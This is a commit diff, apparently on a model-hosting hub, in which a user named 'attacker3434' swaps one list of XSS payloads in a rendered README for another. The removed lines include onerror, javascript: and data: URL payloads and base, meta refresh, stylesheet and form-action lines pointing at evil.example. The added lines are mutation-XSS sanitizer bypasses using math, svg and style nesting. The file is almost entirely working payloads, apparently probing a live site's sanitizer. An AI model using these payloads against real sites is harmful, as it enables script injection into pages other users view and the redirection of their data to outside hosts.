attacker3434 commited on
Commit
77c769d
·
verified ·
1 Parent(s): ad6cac9

mxss battery

Browse files
Files changed (1) hide show
  1. README.md +27 -20
README.md CHANGED
@@ -2,23 +2,30 @@
2
  language: en
3
  ---
4
 
5
- # allowlist probe 8705
6
-
7
- C1 <img src=x onerror=window.__c1=1>
8
- C2 <iframe srcdoc="<script>window.__c2=1</script>"></iframe>
9
- C3 <script>window.__c3=1</script>
10
- C4 <a href="javascript:window.__c4=1">click4</a>
11
- C5 <svg><a xlink:href="javascript:window.__c5=1">click5</a></svg>
12
- C6 <details open ontoggle=window.__c6=1>d6</details>
13
- C7 <video><source onerror=window.__c7=1></video>
14
- C8 <object data="javascript:window.__c8=1"></object>
15
- C9 <embed src="javascript:window.__c9=1">
16
- C10 <math><mtext><img src=x onerror=window.__c10=1></mtext></math>
17
- C11 <div style="background:url(javascript:window.__c11=1)">d11</div>
18
- C12 <base href="https://evil.example/">
19
- C13 <meta http-equiv="refresh" content="0;url=https://evil.example/">
20
- C14 <link rel="stylesheet" href="https://evil.example/x.css">
21
- C15 <form action="https://evil.example/"><input name=q></form>
22
- C16 <style>body{background:url(https://evil.example/s.css)}</style>
23
- C17 <a href="data:text/html,<script>window.__c17=1</script>">click17</a>
24
- C18 <img src="data:image/svg+xml,<svg onload=window.__c18=1>">
 
 
 
 
 
 
 
 
2
  language: en
3
  ---
4
 
5
+ # mxss probe 8706
6
+
7
+ P1 <math><mtext><table><mglyph><style><!--</style><img title="--><img src=x onerror=window.__m1=1>">
8
+
9
+ P2 <math><annotation-xml encoding="text/html"><img src=x onerror=window.__m2=1></annotation-xml></math>
10
+
11
+ P3 <svg></p><style><a id="</style><img src=x onerror=window.__m3=1>">
12
+
13
+ P4 <form><math><mtext></form><form><mglyph><style></math><img src=x onerror=window.__m4=1>
14
+
15
+ P5 <noscript><p title="</noscript><img src=x onerror=window.__m5=1>">
16
+
17
+ P6 <svg><style><img src=x onerror=window.__m6=1></style></svg>
18
+
19
+ P7 <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><a title="</style><img src='x' onerror=window.__m7=1>">
20
+
21
+ P8 <svg><foreignObject><img src=x onerror=window.__m8=1></foreignObject></svg>
22
+
23
+ P9 <math><mtext><style><img src=x onerror=window.__m11=1></style></mtext></math>
24
+
25
+ P10 <svg><p><style><img src=x onerror=window.__m12=1></style></p></svg>
26
+
27
+ P11 <math><mtext><mglyph><style><img src=x onerror=window.__m13=1></style></mglyph></mtext></math>
28
+
29
+ P12 <svg><title><img src=x onerror=window.__m14=1></title></svg>
30
+
31
+ P13 <math><annotation-xml encoding="application/xhtml+xml"><img src=x onerror=window.__m15=1></annotation-xml></math>